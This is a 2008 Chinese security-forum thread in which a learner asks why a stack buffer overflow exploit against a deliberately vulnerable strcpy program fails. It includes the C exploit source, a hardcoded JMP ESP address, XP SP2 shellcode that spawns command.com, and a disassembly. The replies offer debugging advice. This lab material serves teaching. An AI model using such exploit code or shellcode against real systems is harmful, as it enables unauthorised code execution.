首页
社区
课程
招聘
[求助]关于缓冲区溢出的一个解决不掉的问题
发表于: 2008-5-23 21:09 4737

[求助]关于缓冲区溢出的一个解决不掉的问题

2008-5-23 21:09
4737
最近看了failwest大大的溢出教程,刚看了六讲,然后试着动手针对简单的漏洞程序写exploit,以加深对溢出原理的理解,途中碰到问题无法解决,特来看雪求助.

我的目标程序是这样的:

#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[])
{
        char buffer[256];

        strcpy(buffer,argv[1]);//很显然此处strcpy()没有检查边界,所以存在溢出漏洞。
        printf("%s",buffer);

        return 0;
}

我的思路是这样的,系统给数组buffer[255]分配了256个字节的堆栈空间,那么我用260个字节的空间覆盖buffer[]以及EBP指针,然后接下来的一个字节就应该是EIP地址了,我把EIP地址覆盖成中文版通用的JMP ESP 地址0x7ffa4512,紧接着跟shellcode。那么目标程序就会溢出执行shellcode指令。

好了,我的exploit程序是这样的:

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main()
{

        printf("Stack Overflow Exploit\n");

        char exploit[500] = "E:\\exploit\\target\\Debug\\target.exe ";

        char overflow[] =
               
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAA";

        char jmp_esp[]="\x12\x45\xFA\x7F";
       
        char shellcode[] =

        "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
        "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
        "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
        "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
        "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
        "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
        "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
        "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";

        strcat(exploit,overflow);
        strcat(exploit,jmp_esp);
        strcat(exploit,shellcode);

        printf("Exploiting...\n");

        WinExec(exploit ,0);

        printf("Exploitation Finished\n");

        return 0;
}

为了试验,我特地用262个字节填充,并把
           //strcat(exploit,jmp_esp);
        //strcat(exploit,shellcode);
给注释掉,就是让程序执行"target.exe 262个A",报错如图:



看到00004141,说明EIP中两个字节被AA覆盖证实前边的思路是对的。

然后我把两行注释去掉,让exploit完整执行,结果如图:



exploit确没有执行shellcode的指令。

关于这个shellcode作用是个打开DOS命令行的,我在本机验证可行的,如图:



这个shellcode是在xpsp2环境下写的,不是通用的shellcode。

原型是:

#include<windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("command.com");
return 0;
}

LoadLibrary() system()地址都是xpsp2特有的。

这个试验我始终不能成功,感觉思路应该是对的,程序也应该没什么问题,但就是找不出错在哪里,请各位大大帮忙,让我弄清楚错误的原因。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
  • 1.jpg (88.72kb,179次下载)
  • 2.jpg (127.93kb,178次下载)
  • 3.jpg (113.23kb,177次下载)
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
程序写好后。自己反编译下。或调试运行看汇编代码。
2008-5-23 23:13
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
--- E:\exploit\exploit\exploit.cpp  -----------------------------------------------------------------------------------------------
1:    #include <stdio.h>
2:    #include <string.h>
3:    #include <windows.h>
4:
5:    int main()
6:    {
0040D7A0 55                   push        ebp
0040D7A1 8B EC                mov         ebp,esp
0040D7A3 81 EC C4 03 00 00    sub         esp,3C4h
0040D7A9 53                   push        ebx
0040D7AA 56                   push        esi
0040D7AB 57                   push        edi
0040D7AC 8D BD 3C FC FF FF    lea         edi,[ebp-3C4h]
0040D7B2 B9 F1 00 00 00       mov         ecx,0F1h
0040D7B7 B8 CC CC CC CC       mov         eax,0CCCCCCCCh
0040D7BC F3 AB                rep stos    dword ptr [edi]
7:
8:        printf("Stack Overflow Exploit\n");
0040D7BE 68 58 20 42 00       push        offset string "Stack Overflow Exploit\n" (00422058)
0040D7C3 E8 38 3A FF FF       call        printf (00401200)
0040D7C8 83 C4 04             add         esp,4
9:
10:       char exploit[500] = "E:\\exploit\\target\\Debug\\target.exe ";
0040D7CB B9 09 00 00 00       mov         ecx,9
0040D7D0 BE 34 20 42 00       mov         esi,offset string "E:\\exploit\\target\\Debug\\target.e"... (00422034)
0040D7D5 8D BD 0C FE FF FF    lea         edi,[ebp-1F4h]
0040D7DB F3 A5                rep movs    dword ptr [edi],dword ptr [esi]
0040D7DD B9 74 00 00 00       mov         ecx,74h
0040D7E2 33 C0                xor         eax,eax
0040D7E4 8D BD 30 FE FF FF    lea         edi,[ebp-1D0h]
0040D7EA F3 AB                rep stos    dword ptr [edi]
11:
12:       char overflow[] =
13:
14:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
15:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
16:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
17:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
18:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
19:       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
20:       "AAAAAAAAAAAAAAAAAAAA";
0040D7EC B9 41 00 00 00       mov         ecx,41h
0040D7F1 BE 64 31 42 00       mov         esi,offset string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... (00423164)
0040D7F6 8D BD 04 FD FF FF    lea         edi,[ebp-2FCh]
0040D7FC F3 A5                rep movs    dword ptr [edi],dword ptr [esi]
0040D7FE A4                   movs        byte ptr [edi],byte ptr [esi]
21:
22:       char jmp_esp[]="\x12\x45\xFA\x7F";
0040D7FF A1 5C 31 42 00       mov         eax,[string "\x12E\xfa" (0042315c)]
0040D804 89 85 FC FC FF FF    mov         dword ptr [ebp-304h],eax
0040D80A 8A 0D 60 31 42 00    mov         cl,byte ptr [string "\x12E\xfa"+4 (00423160)]
0040D810 88 8D 00 FD FF FF    mov         byte ptr [ebp-300h],cl
23:
24:       char shellcode[] =
25:
26:       "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
27:       "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
28:       "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
29:       "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
30:       "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
31:       "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
32:       "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
33:       "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
0040D816 B9 1F 00 00 00       mov         ecx,1Fh
0040D81B BE 70 20 42 00       mov         esi,offset string "U\x8b\xec3\xc0PPP\xc6E\xf4M\xc6E\xf5S\xc6E\xf6V\xc6E\xf7C\xc6E\xf8R\x
0040D820 8D BD 7C FC FF FF    lea         edi,[ebp-384h]
0040D826 F3 A5                rep movs    dword ptr [edi],dword ptr [esi]
0040D828 66 A5                movs        word ptr [edi],word ptr [esi]
34:
35:       strcat(exploit,overflow);
0040D82A 8D 95 04 FD FF FF    lea         edx,[ebp-2FCh]
0040D830 52                   push        edx
0040D831 8D 85 0C FE FF FF    lea         eax,[ebp-1F4h]
0040D837 50                   push        eax
0040D838 E8 E3 38 FF FF       call        strcat (00401120)
0040D83D 83 C4 08             add         esp,8
36:       strcat(exploit,jmp_esp);
0040D840 8D 8D FC FC FF FF    lea         ecx,[ebp-304h]
0040D846 51                   push        ecx
0040D847 8D 95 0C FE FF FF    lea         edx,[ebp-1F4h]
0040D84D 52                   push        edx
0040D84E E8 CD 38 FF FF       call        strcat (00401120)
0040D853 83 C4 08             add         esp,8
37:       strcat(exploit,shellcode);
0040D856 8D 85 7C FC FF FF    lea         eax,[ebp-384h]
0040D85C 50                   push        eax
0040D85D 8D 8D 0C FE FF FF    lea         ecx,[ebp-1F4h]
0040D863 51                   push        ecx
0040D864 E8 B7 38 FF FF       call        strcat (00401120)
0040D869 83 C4 08             add         esp,8
38:
39:       printf("Exploiting...\n");
0040D86C 68 08 21 42 00       push        offset string "Exploiting...\n" (00422108)
0040D871 E8 8A 39 FF FF       call        printf (00401200)
0040D876 83 C4 04             add         esp,4
40:
41:       WinExec(exploit ,0);
0040D879 8B F4                mov         esi,esp
0040D87B 6A 00                push        0
0040D87D 8D 95 0C FE FF FF    lea         edx,[ebp-1F4h]
0040D883 52                   push        edx
0040D884 FF 15 4C A1 42 00    call        dword ptr [__imp__WinExec@8 (0042a14c)]
0040D88A 3B F4                cmp         esi,esp
0040D88C E8 EF 39 FF FF       call        __chkesp (00401280)
42:
43:       printf("Exploitation Finished\n");
0040D891 68 1C 20 42 00       push        offset string "Exploitation Finished\n" (0042201c)
0040D896 E8 65 39 FF FF       call        printf (00401200)
0040D89B 83 C4 04             add         esp,4
44:
45:       return 0;
0040D89E 33 C0                xor         eax,eax
46:   }
0040D8A0 5F                   pop         edi
0040D8A1 5E                   pop         esi
0040D8A2 5B                   pop         ebx
0040D8A3 81 C4 C4 03 00 00    add         esp,3C4h
0040D8A9 3B EC                cmp         ebp,esp
0040D8AB E8 D0 39 FF FF       call        __chkesp (00401280)
0040D8B0 8B E5                mov         esp,ebp
0040D8B2 5D                   pop         ebp
0040D8B3 C3                   ret
--- No source file  ---------------------------------------------------------------------------------------------------------------

这是VC6下的反汇编代码,对于汇编代码我还是不是看得太明白。
2008-5-24 08:06
0
雪    币: 295
活跃值: (346)
能力值: ( LV9,RANK:530 )
在线值:
发帖
回帖
粉丝
4
在target.exe 中,argv[1] 太长, 把堆栈都用光了,

让程序执行"target.exe 1000个A", 就知道是怎么回事了!
2008-5-24 09:08
0
雪    币: 10715
活跃值: (3252)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
5
用od 跟一边啊,哪有什么问题 很容易就看出来了
2008-5-24 17:19
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
初学的话,char 分配那么12个就够了~

看起来也容易一些。
2008-5-24 22:57
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=blackeyes;457561]在target.exe 中,argv[1] 太长, 把堆栈都用光了,

让程序执行"target.exe 1000个A", 就知道是怎么回事了![/QUOTE]

这个地方确实有问题,我又试验了很多长,有这样一个现象:

1."target.exe 1-256个A", 结果输出同样个数的参数;
2."target.exe 260个A", 报错:00001302;
3."target.exe 262个A", 报错:00004141;
4."target.exe 263个A", 报错:00014141;
5."target.exe 264-307个A", 报错:41414141;
6."target.exe 308-384个A", 同1;
7."target.exe 385-个A", 没反应了。

这种现象怎么理解,而且argv[1] 这个到底有多长的限制怎么确定?
2008-5-25 09:24
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
既然argv[1]有长度限制,那么我不按原来的方式做,把代码该下:

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main()
{

        printf("Stack Overflow Exploit\n");

        char exploit[500] = "E:\\exploit\\target\\Debug\\target.exe ";
       
        char shellcode[] =

        "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
        "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
        "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
        "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
        "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
        "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
        "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
        "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";//125

        char nop[]=

        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAA";//135

        char return_addr[]="AA";
       
        strcat(exploit,shellcode);
        strcat(exploit,nop);
        strcat(exploit,return_addr);

        printf("Exploiting...\n");

        WinExec(exploit ,0);

        printf("Exploitation Finished\n");

        return 0;
}

这里有两个问题:
1.shellcode长125字节,填充135个A,再加2个A总的是262个字节那按理应该报错00004141的,但实际运行结果确是



而当我再加2个A,即char return_addr[]="AAAA";那总的算来有264字节时,才报错00004141



这点是非常不明白。。

2.我最终是想要执行shellcode的指令,那char return_addr[]势必要的是shellcode的起始地址,这个如何找。虽然failwest大大的教程里有个:“用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图”然后就知道buff的起始地址了,但我这里我真还不知道如何找出来。
上传的附件:
  • 4.jpg (188.68kb,131次下载)
  • 5.jpg (187.77kb,132次下载)
2008-5-25 10:27
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
还有一种做法是我不去找具体的shellcode起始地址,我这样做:shellcode+A填充+jmp esp+jmp -0x? 就是把返回地址填jmp esp 后面再加一句jmp -0x?往前跳到shellcode起始地址。这里的问题是jmp 最大支持多少距离的跳幅 像我这里256字节+ebp+eip ,而且把shellcode放到最前面。那就应该是jmp -264字节 也就是jmp -0x108 这个句子能否实现的?还有就是如何把jmp -0x108转换成机器码?
2008-5-25 11:58
0
雪    币: 295
活跃值: (346)
能力值: ( LV9,RANK:530 )
在线值:
发帖
回帖
粉丝
10
argv[1]太长, 会导致下面的代码
strcpy(buffer,argv[1]);
访问非法地址, 还没到return 程序已经挂掉了.
2008-5-25 13:09
0
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
自己测试了下 xp + vc6.0
sc没问题
如果将sc嵌在程序中也没问题
偏偏是构造exploit时出现不明状况

自己调试能力有限
最终也没找到原因

关注中。。。。
2008-5-29 16:11
0
游客
登录 | 注册 方可回帖
返回
//